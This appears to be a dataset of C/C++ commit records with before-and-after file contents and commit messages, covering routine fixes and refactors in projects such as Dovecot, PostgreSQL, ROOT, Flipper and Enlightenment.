{"commit":"9a3831ff69c0f341416b38bab7d9f27ebbda2304","old_file":"src\/imap\/cmd-close.c","new_file":"src\/imap\/cmd-close.c","old_contents":"\/* Copyright (c) 2002-2008 Dovecot authors, see the included COPYING file *\/\n\n#include \"common.h\"\n#include \"commands.h\"\n#include \"imap-expunge.h\"\n\nbool cmd_close(struct client_command_context *cmd)\n{\n\tstruct client *client = cmd->client;\n\tstruct mailbox *mailbox = client->mailbox;\n\tstruct mail_storage *storage;\n\n\tif (!client_verify_open_mailbox(cmd))\n\t\treturn TRUE;\n\n\tstorage = mailbox_get_storage(mailbox);\n\tclient->mailbox = NULL;\n\n\tif (!imap_expunge(mailbox, NULL))\n\t\tclient_send_untagged_storage_error(client, storage);\n\n\tif (mailbox_close(&mailbox) < 0)\n                client_send_untagged_storage_error(client, storage);\n\tclient_update_mailbox_flags(client, NULL);\n\n\tclient_send_tagline(cmd, \"OK Close completed.\");\n\treturn TRUE;\n}\n","new_contents":"\/* Copyright (c) 2002-2008 Dovecot authors, see the included COPYING file *\/\n\n#include \"common.h\"\n#include \"commands.h\"\n#include \"imap-expunge.h\"\n\nbool cmd_close(struct client_command_context *cmd)\n{\n\tstruct client *client = cmd->client;\n\tstruct mailbox *mailbox = client->mailbox;\n\tstruct mail_storage *storage;\n\n\tif (!client_verify_open_mailbox(cmd))\n\t\treturn TRUE;\n\n\tstorage = mailbox_get_storage(mailbox);\n\tclient->mailbox = NULL;\n\n\tif (!imap_expunge(mailbox, NULL))\n\t\tclient_send_untagged_storage_error(client, storage);\n\telse if (mailbox_sync(mailbox, 0, 0, NULL) < 0)\n\t\tclient_send_untagged_storage_error(client, storage);\n\n\tif (mailbox_close(&mailbox) < 0)\n                client_send_untagged_storage_error(client, storage);\n\tclient_update_mailbox_flags(client, NULL);\n\n\tclient_send_tagline(cmd, \"OK Close completed.\");\n\treturn TRUE;\n}\n","subject":"Synchronize the mailbox after expunging messages to actually get them expunged.","message":"CLOSE: Synchronize the mailbox after expunging messages to actually get them\nexpunged.\n\n--HG--\nbranch : HEAD\n","lang":"C","license":"mit","repos":"dscho\/dovecot,dscho\/dovecot,dscho\/dovecot,dscho\/dovecot,dscho\/dovecot"}
{"commit":"cefe89625e4728d349d8d3db1b9c81268178449d","old_file":"lib\/GPIOlib.h","new_file":"lib\/GPIOlib.h","old_contents":"#ifndef GPIOLIB_H\n#define GPIOLIB_H\n\n#define FORWARD 1\n#define BACKWARD 0\n\nnamespace GPIO\n{\n\tint init();\n\t\n\tint controlLeft(int direction,int speed);\n\tint controlRight(int direction,int speed);\n\tint stopLeft();\n\tint stopRight();\n\t\n\tint resetCounter();\n\tvoid getCounter(int *countLeft,int *countRight);\n\tint turnTo(int angle);\n\t\n\tvoid delay(int milliseconds);\n}\n#endif\n","new_contents":"#ifndef GPIOLIB_H\n#define GPIOLIB_H\n\n#define FORWARD 1\n#define BACKWARD 0\n\nnamespace GPIO\n{\n\tint init();\n\t\n\t\/\/direction is either FORWARD or BACKWARD. speed can be an integer ranging from 0 to 100.\n\tint controlLeft(int direction,int speed);\n\tint controlRight(int direction,int speed);\n\tint stopLeft();\n\tint stopRight();\n\t\n\tint resetCounter();\n\tvoid getCounter(int *countLeft,int *countRight);\n\t\/\/angle is available in the range of -90 to 90.\n\tint turnTo(int angle);\n\t\n\tvoid delay(int milliseconds);\n}\n#endif\n","subject":"Add some comments in the header file for understanding","message":"Add some comments in the header file for understanding\n","lang":"C","license":"mit","repos":"miaoxw\/EmbeddedSystemNJU2017-Demo"}
{"commit":"0052a0243d9c979a06ef273af965508103c456e0","old_file":"src\/include\/utils\/hashutils.h","new_file":"src\/include\/utils\/hashutils.h","old_contents":"","new_contents":"\/*\n * Utilities for working with hash values.\n *\n * Portions Copyright (c) 2017, PostgreSQL Global Development Group\n *\/\n\n#ifndef HASHUTILS_H\n#define HASHUTILS_H\n\n\/*\n * Combine two hash values, resulting in another hash value, with decent bit\n * mixing.\n *\n * Similar to boost's hash_combine().\n *\/\nstatic inline uint32\nhash_combine(uint32 a, uint32 b)\n{\n\ta ^= b + 0x9e3779b9 + (a << 6) + (a >> 2);\n\treturn a;\n}\n\n#endif\t\t\t\t\t\t\t\/* HASHUTILS_H *\/\n","subject":"Add a hash_combine function for mixing hash values.","message":"Add a hash_combine function for mixing hash values.\n\nThis hash function is derived from Boost's function of the same name.\n\nAuthor: Andres Freund, Thomas Munro\nDiscussion: https:\/\/postgr.es\/m\/CAEepm%3D3rdgjfxW4cKvJ0OEmya2-34B0qHNG1xV0vK7TGPJGMUQ%40mail.gmail.com\nDiscussion: https:\/\/postgr.es\/m\/20170731210844.3cwrkmsmbbpt4rjc%40alap3.anarazel.de\n","lang":"C","license":"apache-2.0","repos":"greenplum-db\/gpdb,50wu\/gpdb,adam8157\/gpdb,lisakowen\/gpdb,xinzweb\/gpdb,xinzweb\/gpdb,50wu\/gpdb,50wu\/gpdb,adam8157\/gpdb,lisakowen\/gpdb,adam8157\/gpdb,greenplum-db\/gpdb,adam8157\/gpdb,xinzweb\/gpdb,lisakowen\/gpdb,greenplum-db\/gpdb,xinzweb\/gpdb,xinzweb\/gpdb,greenplum-db\/gpdb,greenplum-db\/gpdb,greenplum-db\/gpdb,adam8157\/gpdb,50wu\/gpdb,xinzweb\/gpdb,greenplum-db\/gpdb,50wu\/gpdb,greenplum-db\/gpdb,50wu\/gpdb,adam8157\/gpdb,lisakowen\/gpdb,50wu\/gpdb,xinzweb\/gpdb,xinzweb\/gpdb,adam8157\/gpdb,50wu\/gpdb,lisakowen\/gpdb,adam8157\/gpdb,lisakowen\/gpdb,lisakowen\/gpdb,lisakowen\/gpdb"}
{"commit":"fea168823acd6c1c50d3d366798a4314c79e6dc9","old_file":"src\/backend\/port\/dynloader\/osf.c","new_file":"src\/backend\/port\/dynloader\/osf.c","old_contents":"\/* Dummy file used for nothing at this point\n *\n * see alpha.h\n * $PostgreSQL: pgsql\/src\/backend\/port\/dynloader\/osf.c,v 1.2 2006\/03\/11 04:38:31 momjian Exp $\n *\/\n","new_contents":"\/*\n * $PostgreSQL: pgsql\/src\/backend\/port\/dynloader\/osf.c,v 1.3 2009\/04\/21 21:05:25 tgl Exp $\n *\n * Dummy file used for nothing at this point\n *\n * see osf.h\n *\/\n","subject":"Fix obsolete cross-reference (this file isn't called alpha.c anymore)","message":"Fix obsolete cross-reference (this file isn't called alpha.c anymore)\n","lang":"C","license":"mpl-2.0","repos":"Postgres-XL\/Postgres-XL,tpostgres-projects\/tPostgres,greenplum-db\/gpdb,edespino\/gpdb,pavanvd\/postgres-xl,tpostgres-projects\/tPostgres,edespino\/gpdb,ashwinstar\/gpdb,oberstet\/postgres-xl,jmcatamney\/gpdb,arcivanov\/postgres-xl,ovr\/postgres-xl,yuanzhao\/gpdb,50wu\/gpdb,adam8157\/gpdb,yuanzhao\/gpdb,zeroae\/postgres-xl,techdragon\/Postgres-XL,arcivanov\/postgres-xl,yazun\/postgres-xl,jmcatamney\/gpdb,jmcatamney\/gpdb,Chibin\/gpdb,ashwinstar\/gpdb,greenplum-db\/gpdb,snaga\/postgres-xl,zeroae\/postgres-xl,yazun\/postgres-xl,yuanzhao\/gpdb,jmcatamney\/gpdb,pavanvd\/postgres-xl,oberstet\/postgres-xl,lisakowen\/gpdb,yuanzhao\/gpdb,yazun\/postgres-xl,arcivanov\/postgres-xl,yuanzhao\/gpdb,ashwinstar\/gpdb,edespino\/gpdb,tpostgres-projects\/tPostgres,lisakowen\/gpdb,ovr\/postgres-xl,ashwinstar\/gpdb,adam8157\/gpdb,50wu\/gpdb,50wu\/gpdb,Postgres-XL\/Postgres-XL,Chibin\/gpdb,lisakowen\/gpdb,ashwinstar\/gpdb,snaga\/postgres-xl,snaga\/postgres-xl,techdragon\/Postgres-XL,postmind-net\/postgres-xl,yazun\/postgres-xl,xinzweb\/gpdb,edespino\/gpdb,techdragon\/Postgres-XL,pavanvd\/postgres-xl,postmind-net\/postgres-xl,yuanzhao\/gpdb,50wu\/gpdb,edespino\/gpdb,greenplum-db\/gpdb,jmcatamney\/gpdb,adam8157\/gpdb,jmcatamney\/gpdb,Chibin\/gpdb,oberstet\/postgres-xl,postmind-net\/postgres-xl,ashwinstar\/gpdb,greenplum-db\/gpdb,ashwinstar\/gpdb,zeroae\/postgres-xl,greenplum-db\/gpdb,Chibin\/gpdb,yuanzhao\/gpdb,pavanvd\/postgres-xl,lisakowen\/gpdb,oberstet\/postgres-xl,xinzweb\/gpdb,oberstet\/postgres-xl,edespino\/gpdb,yuanzhao\/gpdb,edespino\/gpdb,Chibin\/gpdb,pavanvd\/postgres-xl,postmind-net\/postgres-xl,tpostgres-projects\/tPostgres,ovr\/postgres-xl,Chibin\/gpdb,adam8157\/gpdb,jmcatamney\/gpdb,lisakowen\/gpdb,xinzweb\/gpdb,edespino\/gpdb,techdragon\/Postgres-XL,lisakowen\/gpdb,xinzweb\/gpdb,50wu\/gpdb,lisakowen\/gpdb,arcivanov\/postgres-xl,greenplum-db\/gpdb,xinzweb\/gpdb,yazun\/postgres-xl,Chibin\/gpdb,snaga\/postgres-xl,Postgres-XL\/Postgres-XL,greenplum-db\/gpdb,ovr\/postgres-xl,yuanzhao\/gpdb,adam8157\/gpdb,adam8157\/gpdb,yuanzhao\/gpdb,postmind-net\/postgres-xl,kmjungersen\/PostgresXL,techdragon\/Postgres-XL,adam8157\/gpdb,ashwinstar\/gpdb,xinzweb\/gpdb,edespino\/gpdb,Chibin\/gpdb,Chibin\/gpdb,arcivanov\/postgres-xl,Postgres-XL\/Postgres-XL,Postgres-XL\/Postgres-XL,arcivanov\/postgres-xl,tpostgres-projects\/tPostgres,jmcatamney\/gpdb,snaga\/postgres-xl,50wu\/gpdb,zeroae\/postgres-xl,ovr\/postgres-xl,edespino\/gpdb,kmjungersen\/PostgresXL,Chibin\/gpdb,kmjungersen\/PostgresXL,greenplum-db\/gpdb,50wu\/gpdb,kmjungersen\/PostgresXL,50wu\/gpdb,zeroae\/postgres-xl,xinzweb\/gpdb,xinzweb\/gpdb,lisakowen\/gpdb,adam8157\/gpdb,kmjungersen\/PostgresXL"}
{"commit":"159caac86902add83f4ff3a2d813559144806f98","old_file":"src\/forces\/label_state.h","new_file":"src\/forces\/label_state.h","old_contents":"#ifndef SRC_FORCES_LABEL_STATE_H_\n\n#define SRC_FORCES_LABEL_STATE_H_\n\n#include <Eigen\/Core>\n#include <string>\n\nnamespace Forces\n{\n\/**\n * \\brief\n *\n *\n *\/\nclass LabelState\n{\n public:\n  EIGEN_MAKE_ALIGNED_OPERATOR_NEW\n\n  LabelState(int id, std::string text, Eigen::Vector3f anchorPosition);\n\n  const int id;\n  const Eigen::Vector3f anchorPosition;\n  Eigen::Vector3f labelPosition;\n\n  Eigen::Vector2f anchorPosition2D;\n  Eigen::Vector2f labelPosition2D;\n  float labelPositionDepth;\n private:\n  std::string text;\n\n};\n}  \/\/ namespace Forces\n\n#endif  \/\/ SRC_FORCES_LABEL_STATE_H_\n","new_contents":"#ifndef SRC_FORCES_LABEL_STATE_H_\n\n#define SRC_FORCES_LABEL_STATE_H_\n\n#include <Eigen\/Core>\n#include <string>\n\nnamespace Forces\n{\n\/**\n * \\brief\n *\n *\n *\/\nclass LabelState\n{\n public:\n  EIGEN_MAKE_ALIGNED_OPERATOR_NEW\n\n  LabelState(int id, std::string text, Eigen::Vector3f anchorPosition);\n\n  const int id;\n  const Eigen::Vector3f anchorPosition;\n  Eigen::Vector3f labelPosition;\n\n  Eigen::Vector2f anchorPosition2D;\n  Eigen::Vector2f labelPosition2D;\n  float labelPositionDepth;\n\n  const std::string text;\n};\n}  \/\/ namespace Forces\n\n#endif  \/\/ SRC_FORCES_LABEL_STATE_H_\n","subject":"Make text in LabelState public.","message":"Make text in LabelState public.\n","lang":"C","license":"mit","repos":"Christof\/voly-labeller,Christof\/voly-labeller,Christof\/voly-labeller,Christof\/voly-labeller"}
{"commit":"83bd9b0b1e7de15e9f5c95fdc50b35d0379ce2c8","old_file":"7segments.c","new_file":"7segments.c","old_contents":"main(int u,char**a){for(char*c,y;y=u;u*=8)for(c=a[1];*c;)printf(\"%c%c%c%c\",(y=\"$ֶ<&\"[*c++-48])&u\/2?33:32,y&u?95:32,y&u\/4?33:32,*c?32:10);}","new_contents":"main(int u,char**a){for(char*c,y;y=u;u*=8,puts(\"\"))for(c=a[1];*c;)printf(\"%c%c%c \",(y=\"$ֶ<&\"[*c++-48])&u\/2?33:32,y&u?95:32,y&u\/4?33:32);}","subject":"Use puts again in a better position, save one byte (143)","message":"Use puts again in a better position, save one byte (143)\n","lang":"C","license":"mit","repos":"McZonk\/7segements,McZonk\/7segements"}
{"commit":"8d240fe14188fbd325749079039b6dd03f968a47","old_file":"reflex\/test\/testDict2\/ClassN.h","new_file":"reflex\/test\/testDict2\/ClassN.h","old_contents":"","new_contents":"#ifndef DICT2_CLASSN_H\n#define DICT2_CLASSN_H\n\n#include \"ClassI.h\"\n#include \"ClassL.h\"\n\nclass ClassN: \/* public ClassI, *\/ public ClassL {\n public:\n  ClassN() : fN('n') {}\n  virtual ~ClassN() {}\n  int n() { return fN; }\n  void setN(int v) { fN = v; }\n private:\n  int fN;\n};\n\n\n#endif \/\/ DICT2_CLASSN_H\n","subject":"Test class to check for ambiguities in the dictionary source code in case of non virtual diamonds","message":"Test class to check for ambiguities in the dictionary source code in case of\nnon virtual diamonds\n\n\ngit-svn-id: acec3fd5b7ea1eb9e79d6329d318e8118ee2e14f@16987 27541ba8-7e3a-0410-8455-c3a389f83636\n","lang":"C","license":"lgpl-2.1","repos":"gbitzes\/root,agarciamontoro\/root,mkret2\/root,pspe\/root,mhuwiler\/rootauto,georgtroska\/root,CristinaCristescu\/root,Duraznos\/root,gganis\/root,sbinet\/cxx-root,veprbl\/root,lgiommi\/root,omazapa\/root-old,abhinavmoudgil95\/root,pspe\/root,BerserkerTroll\/root,pspe\/root,buuck\/root,krafczyk\/root,jrtomps\/root,strykejern\/TTreeReader,satyarth934\/root,lgiommi\/root,karies\/root,alexschlueter\/cern-root,nilqed\/root,perovic\/root,dfunke\/root,olifre\/root,mhuwiler\/rootauto,tc3t\/qoot,esakellari\/my_root_for_test,root-mirror\/root,sbinet\/cxx-root,smarinac\/root,mkret2\/root,BerserkerTroll\/root,Dr15Jones\/root,agarciamontoro\/root,zzxuanyuan\/root-compressor-dummy,mattkretz\/root,Y--\/root,Dr15Jones\/root,buuck\/root,mkret2\/root,abhinavmoudgil95\/root,pspe\/root,beniz\/root,bbockelm\/root,CristinaCristescu\/root,bbockelm\/root,veprbl\/root,ffurano\/root5,sirinath\/root,georgtroska\/root,thomaskeck\/root,simonpf\/root,vukasinmilosevic\/root,perovic\/root,BerserkerTroll\/root,esakellari\/root,omazapa\/root-old,satyarth934\/root,abhinavmoudgil95\/root,sbinet\/cxx-root,sbinet\/cxx-root,davidlt\/root,satyarth934\/root,veprbl\/root,bbockelm\/root,sawenzel\/root,sawenzel\/root,gbitzes\/root,tc3t\/qoot,Duraznos\/root,dfunke\/root,lgiommi\/root,krafczyk\/root,arch1tect0r\/root,cxx-hep\/root-cern,perovic\/root,buuck\/root,olifre\/root,kirbyherm\/root-r-tools,evgeny-boger\/root,beniz\/root,root-mirror\/root,sirinath\/root,jrtomps\/root,beniz\/root,CristinaCristescu\/root,bbockelm\/root,simonpf\/root,zzxuanyuan\/root,karies\/root,ffurano\/root5,thomaskeck\/root,CristinaCristescu\/root,Duraznos\/root,arch1tect0r\/root,kirbyherm\/root-r-tools,root-mirror\/root,Duraznos\/root,arch1tect0r\/root,0x0all\/ROOT,Duraznos\/root,georgtroska\/root,pspe\/root,ffurano\/root5,evgeny-boger\/root,abhinavmoudgil95\/root,krafczyk\/root,abhinavmoudgil95\/root,vukasinmilosevic\/root,mattkretz\/root,zzxuanyuan\/root,Dr15Jones\/root,zzxuanyuan\/root,CristinaCristescu\/root,davidlt\/root,sbinet\/cxx-root,simonpf\/root,buuck\/root,sawenzel\/root,jrtomps\/root,arch1tect0r\/root,evgeny-boger\/root,zzxuanyuan\/root-compressor-dummy,dfunke\/root,esakellari\/my_root_for_test,mattkretz\/root,mhuwiler\/rootauto,esakellari\/root,esakellari\/my_root_for_test,omazapa\/root-old,olifre\/root,simonpf\/root,sbinet\/cxx-root,davidlt\/root,esakellari\/root,karies\/root,evgeny-boger\/root,agarciamontoro\/root,omazapa\/root-old,mattkretz\/root,arch1tect0r\/root,gbitzes\/root,ffurano\/root5,simonpf\/root,bbockelm\/root,perovic\/root,nilqed\/root,Dr15Jones\/root,omazapa\/root,satyarth934\/root,nilqed\/root,mattkretz\/root,olifre\/root,evgeny-boger\/root,karies\/root,nilqed\/root,omazapa\/root-old,dfunke\/root,tc3t\/qoot,arch1tect0r\/root,lgiommi\/root,gbitzes\/root,gbitzes\/root,zzxuanyuan\/root-compressor-dummy,agarciamontoro\/root,sirinath\/root,zzxuanyuan\/root,agarciamontoro\/root,Y--\/root,sawenzel\/root,agarciamontoro\/root,alexschlueter\/cern-root,beniz\/root,CristinaCristescu\/root,Duraznos\/root,beniz\/root,esakellari\/root,sawenzel\/root,esakellari\/root,esakellari\/my_root_for_test,gbitzes\/root,vukasinmilosevic\/root,Duraznos\/root,gganis\/root,lgiommi\/root,kirbyherm\/root-r-tools,gganis\/root,jrtomps\/root,georgtroska\/root,root-mirror\/root,agarciamontoro\/root,buuck\/root,davidlt\/root,karies\/root,kirbyherm\/root-r-tools,zzxuanyuan\/root-compressor-dummy,evgeny-boger\/root,omazapa\/root,satyarth934\/root,gbitzes\/root,krafczyk\/root,vukasinmilosevic\/root,pspe\/root,strykejern\/TTreeReader,mhuwiler\/rootauto,vukasinmilosevic\/root,zzxuanyuan\/root,abhinavmoudgil95\/root,mkret2\/root,simonpf\/root,simonpf\/root,strykejern\/TTreeReader,sirinath\/root,vukasinmilosevic\/root,vukasinmilosevic\/root,zzxuanyuan\/root-compressor-dummy,beniz\/root,mkret2\/root,nilqed\/root,satyarth934\/root,zzxuanyuan\/root,gganis\/root,vukasinmilosevic\/root,tc3t\/qoot,evgeny-boger\/root,strykejern\/TTreeReader,evgeny-boger\/root,agarciamontoro\/root,tc3t\/qoot,perovic\/root,BerserkerTroll\/root,BerserkerTroll\/root,veprbl\/root,omazapa\/root-old,cxx-hep\/root-cern,root-mirror\/root,arch1tect0r\/root,satyarth934\/root,buuck\/root,mkret2\/root,sirinath\/root,beniz\/root,mhuwiler\/rootauto,krafczyk\/root,strykejern\/TTreeReader,veprbl\/root,sirinath\/root,mattkretz\/root,mattkretz\/root,arch1tect0r\/root,0x0all\/ROOT,georgtroska\/root,kirbyherm\/root-r-tools,alexschlueter\/cern-root,alexschlueter\/cern-root,bbockelm\/root,Duraznos\/root,esakellari\/my_root_for_test,perovic\/root,karies\/root,cxx-hep\/root-cern,bbockelm\/root,Y--\/root,sbinet\/cxx-root,root-mirror\/root,abhinavmoudgil95\/root,jrtomps\/root,thomaskeck\/root,BerserkerTroll\/root,perovic\/root,krafczyk\/root,smarinac\/root,satyarth934\/root,smarinac\/root,olifre\/root,krafczyk\/root,dfunke\/root,root-mirror\/root,tc3t\/qoot,veprbl\/root,buuck\/root,gganis\/root,mattkretz\/root,veprbl\/root,Y--\/root,tc3t\/qoot,beniz\/root,esakellari\/my_root_for_test,veprbl\/root,evgeny-boger\/root,nilqed\/root,BerserkerTroll\/root,omazapa\/root-old,nilqed\/root,esakellari\/my_root_for_test,veprbl\/root,karies\/root,CristinaCristescu\/root,zzxuanyuan\/root-compressor-dummy,olifre\/root,kirbyherm\/root-r-tools,simonpf\/root,thomaskeck\/root,Y--\/root,georgtroska\/root,root-mirror\/root,nilqed\/root,0x0all\/ROOT,mattkretz\/root,omazapa\/root,dfunke\/root,agarciamontoro\/root,tc3t\/qoot,beniz\/root,davidlt\/root,sirinath\/root,krafczyk\/root,sawenzel\/root,georgtroska\/root,BerserkerTroll\/root,jrtomps\/root,dfunke\/root,BerserkerTroll\/root,lgiommi\/root,mkret2\/root,Dr15Jones\/root,cxx-hep\/root-cern,cxx-hep\/root-cern,thomaskeck\/root,simonpf\/root,davidlt\/root,sirinath\/root,dfunke\/root,dfunke\/root,zzxuanyuan\/root,veprbl\/root,lgiommi\/root,pspe\/root,olifre\/root,zzxuanyuan\/root-compressor-dummy,sirinath\/root,esakellari\/root,cxx-hep\/root-cern,agarciamontoro\/root,georgtroska\/root,omazapa\/root,evgeny-boger\/root,0x0all\/ROOT,jrtomps\/root,davidlt\/root,esakellari\/root,CristinaCristescu\/root,agarciamontoro\/root,omazapa\/root-old,esakellari\/root,simonpf\/root,ffurano\/root5,zzxuanyuan\/root,esakellari\/my_root_for_test,georgtroska\/root,zzxuanyuan\/root-compressor-dummy,ffurano\/root5,gganis\/root,tc3t\/qoot,karies\/root,sawenzel\/root,CristinaCristescu\/root,gbitzes\/root,dfunke\/root,mkret2\/root,Dr15Jones\/root,omazapa\/root,bbockelm\/root,0x0all\/ROOT,omazapa\/root,sbinet\/cxx-root,thomaskeck\/root,perovic\/root,buuck\/root,sbinet\/cxx-root,sawenzel\/root,mhuwiler\/rootauto,olifre\/root,mhuwiler\/rootauto,nilqed\/root,gganis\/root,Y--\/root,alexschlueter\/cern-root,buuck\/root,karies\/root,mkret2\/root,satyarth934\/root,nilqed\/root,esakellari\/my_root_for_test,thomaskeck\/root,davidlt\/root,krafczyk\/root,jrtomps\/root,evgeny-boger\/root,arch1tect0r\/root,gbitzes\/root,Y--\/root,lgiommi\/root,jrtomps\/root,smarinac\/root,abhinavmoudgil95\/root,pspe\/root,davidlt\/root,smarinac\/root,beniz\/root,zzxuanyuan\/root-compressor-dummy,strykejern\/TTreeReader,smarinac\/root,davidlt\/root,tc3t\/qoot,georgtroska\/root,omazapa\/root,esakellari\/root,omazapa\/root-old,gganis\/root,karies\/root,smarinac\/root,bbockelm\/root,strykejern\/TTreeReader,lgiommi\/root,alexschlueter\/cern-root,kirbyherm\/root-r-tools,veprbl\/root,lgiommi\/root,thomaskeck\/root,0x0all\/ROOT,gganis\/root,sirinath\/root,georgtroska\/root,mattkretz\/root,Dr15Jones\/root,pspe\/root,Y--\/root,omazapa\/root-old,olifre\/root,perovic\/root,nilqed\/root,arch1tect0r\/root,bbockelm\/root,smarinac\/root,cxx-hep\/root-cern,mattkretz\/root,ffurano\/root5,zzxuanyuan\/root,CristinaCristescu\/root,sirinath\/root,abhinavmoudgil95\/root,gganis\/root,abhinavmoudgil95\/root,mkret2\/root,arch1tect0r\/root,BerserkerTroll\/root,0x0all\/ROOT,0x0all\/ROOT,jrtomps\/root,zzxuanyuan\/root,zzxuanyuan\/root,smarinac\/root,vukasinmilosevic\/root,Duraznos\/root,gganis\/root,BerserkerTroll\/root,olifre\/root,sawenzel\/root,alexschlueter\/cern-root,mkret2\/root,zzxuanyuan\/root-compressor-dummy,Y--\/root,krafczyk\/root,Y--\/root,lgiommi\/root,perovic\/root,buuck\/root,olifre\/root,esakellari\/my_root_for_test,sawenzel\/root,esakellari\/root,root-mirror\/root,vukasinmilosevic\/root,zzxuanyuan\/root,beniz\/root,esakellari\/root,thomaskeck\/root,mhuwiler\/rootauto,cxx-hep\/root-cern,buuck\/root,vukasinmilosevic\/root,perovic\/root,dfunke\/root,Duraznos\/root,sbinet\/cxx-root,karies\/root,pspe\/root,mhuwiler\/rootauto,omazapa\/root,Duraznos\/root,sawenzel\/root,sbinet\/cxx-root,gbitzes\/root,Y--\/root,omazapa\/root,root-mirror\/root,bbockelm\/root,omazapa\/root,gbitzes\/root,thomaskeck\/root,pspe\/root,abhinavmoudgil95\/root,smarinac\/root,satyarth934\/root,krafczyk\/root,mhuwiler\/rootauto,zzxuanyuan\/root-compressor-dummy,satyarth934\/root,jrtomps\/root,mhuwiler\/rootauto,omazapa\/root,0x0all\/ROOT,omazapa\/root-old,davidlt\/root,simonpf\/root,root-mirror\/root,CristinaCristescu\/root"}
{"commit":"ecd76f902198765339c7923c2e3f8538a431ac1f","old_file":"atomic_append.c","new_file":"atomic_append.c","old_contents":"\/* Exercise 5-3 *\/\n\n#include <unistd.h>\n#include <fcntl.h>\n#include \"tlpi_hdr.h\"\n\nint main (int argc, char *argv[]) {\n  if (argc < 3 || argc > 4) {\n    usageErr(\"%s filename num-bytes [x]\", argv[0]);\n  }\n\n  long n = getLong(argv[2], GN_NONNEG | GN_ANY_BASE, \"num-bytes\");\n  Boolean x = argc == 4 && strcmp(argv[3], \"x\") == 0;\n  int flags = O_WRONLY | O_CREAT;\n  if (!x) { flags |= O_APPEND; }\n  int fd = open(argv[1], flags, S_IWUSR | S_IRUSR);\n  if (fd == -1) { errExit(\"open\"); }\n\n  while (n-- > 0) {\n    if (x) {\n      if (lseek(fd, 0, SEEK_END) == -1) { errExit(\"seek\"); }\n    }\n    if (write(fd, \"a\", 1) == -1) {\n      errExit(\"write byte a\");\n    }\n  }\n}","new_contents":"\/* Exercise 5-3 *\/\n\n#include <unistd.h>\n#include <fcntl.h>\n#include \"tlpi_hdr.h\"\n\nint main (int argc, char *argv[]) {\n  if (argc < 3 || argc > 4) {\n    usageErr(\"%s filename num-bytes [x]\", argv[0]);\n  }\n\n  long n = getLong(argv[2], GN_NONNEG | GN_ANY_BASE, \"num-bytes\");\n  Boolean x = argc == 4 && strcmp(argv[3], \"x\") == 0;\n  int flags = O_WRONLY | O_CREAT;\n  if (!x) { flags |= O_APPEND; }\n  int fd = open(argv[1], flags, S_IWUSR | S_IRUSR);\n  if (fd == -1) { errExit(\"open\"); }\n\n  while (n-- > 0) {\n    if (x) {\n      if (lseek(fd, 0, SEEK_END) == -1) { errExit(\"seek\"); }\n    }\n    if (write(fd, \"a\", 1) == -1) {\n      errExit(\"write byte a\");\n    }\n  }\n\n  if (close(fd) == -1) { \n      errExit(\"close output\"); \n  }\n\n  exit(EXIT_SUCCESS);\n}\n","subject":"Add missing close for file descriptor","message":"Add missing close for file descriptor\n","lang":"C","license":"mit","repos":"dalleng\/tlpi-exercises,timjb\/tlpi-exercises,dalleng\/tlpi-exercises,timjb\/tlpi-exercises"}
{"commit":"620383bae31caa246a05bd77a1abdb88c2fb7543","old_file":"iOS\/Plugins\/FlipperKitNetworkPlugin\/FlipperKitNetworkPlugin\/SKDispatchQueue.h","new_file":"iOS\/Plugins\/FlipperKitNetworkPlugin\/FlipperKitNetworkPlugin\/SKDispatchQueue.h","old_contents":"\/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the LICENSE\n * file in the root directory of this source tree.\n *\/\n#if FB_SONARKIT_ENABLED\n\n#pragma once\n\n#import <dispatch\/dispatch.h>\n\nnamespace facebook {\n  namespace flipper {\n    class DispatchQueue\n    {\n    public:\n      virtual void async(dispatch_block_t block) = 0;\n    };\n\n    class GCDQueue: public DispatchQueue\n    {\n    public:\n      GCDQueue(dispatch_queue_t underlyingQueue)\n      :_underlyingQueue(underlyingQueue) { }\n\n      void async(dispatch_block_t block) override\n      {\n        dispatch_async(_underlyingQueue, block);\n      }\n\n      virtual ~GCDQueue() { }\n\n    private:\n      dispatch_queue_t _underlyingQueue;\n    };\n  }\n}\n\n#endif\n","new_contents":"\/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the LICENSE\n * file in the root directory of this source tree.\n *\/\n#if FB_SONARKIT_ENABLED\n\n#pragma once\n\n#import <dispatch\/dispatch.h>\n\nnamespace facebook {\n  namespace flipper {\n    class DispatchQueue\n    {\n    public:\n      virtual void async(dispatch_block_t block) = 0;\n      virtual ~DispatchQueue() { }\n    };\n\n    class GCDQueue: public DispatchQueue\n    {\n    public:\n      GCDQueue(dispatch_queue_t underlyingQueue)\n      :_underlyingQueue(underlyingQueue) { }\n\n      void async(dispatch_block_t block) override\n      {\n        dispatch_async(_underlyingQueue, block);\n      }\n\n      virtual ~GCDQueue() { }\n\n    private:\n      dispatch_queue_t _underlyingQueue;\n    };\n  }\n}\n\n#endif\n","subject":"Add virtual destructor to class with virtual functions but non-virtual destructor","message":"Add virtual destructor to class with virtual functions but non-virtual destructor\n\nReviewed By: jdthomas\n\nDifferential Revision: D16954508\n\nfbshipit-source-id: 958118843687145c1147ac5beeb2857b21332702\n","lang":"C","license":"mit","repos":"facebook\/flipper,facebook\/flipper,facebook\/flipper,facebook\/flipper,facebook\/flipper,facebook\/flipper,facebook\/flipper,facebook\/flipper,facebook\/flipper,facebook\/flipper,facebook\/flipper"}
{"commit":"088a3aedb31e5abdf0113f1259a2ef70eac6ee60","old_file":"src\/bin\/e_int_config_modules.h","new_file":"src\/bin\/e_int_config_modules.h","old_contents":"\/*\n * vim:ts=8:sw=3:sts=8:noexpandtab:cino=>5n-3f0^-2{2\n *\/\n#ifdef E_TYPEDEFS\n#else\n#ifndef E_INT_CONFIG_MODULES_H\n#define E_INT_CONFIG_MODULES_H\n\nEAPI E_Config_Dialog *e_int_config_modules(E_Container *con, const char *params __UNUSED__);\n\n#endif\n#endif\n","new_contents":"\/*\n * vim:ts=8:sw=3:sts=8:noexpandtab:cino=>5n-3f0^-2{2\n *\/\n#ifdef E_TYPEDEFS\n#else\n#ifndef E_INT_CONFIG_MODULES_H\n#define E_INT_CONFIG_MODULES_H\n\nEAPI E_Config_Dialog *e_int_config_modules(E_Container *con, const char *params);\n\n#endif\n#endif\n","subject":"Remove __UNUSED__ as it doesn't make sense here.","message":"Remove __UNUSED__ as it doesn't make sense here.\n\n\ngit-svn-id: 6ac5796aeae0cef97fb47bcc287d4ce899c6fa6e@38188 7cbeb6ba-43b4-40fd-8cce-4c39aea84d33\n","lang":"C","license":"bsd-2-clause","repos":"jordemort\/e17,jordemort\/e17,jordemort\/e17"}
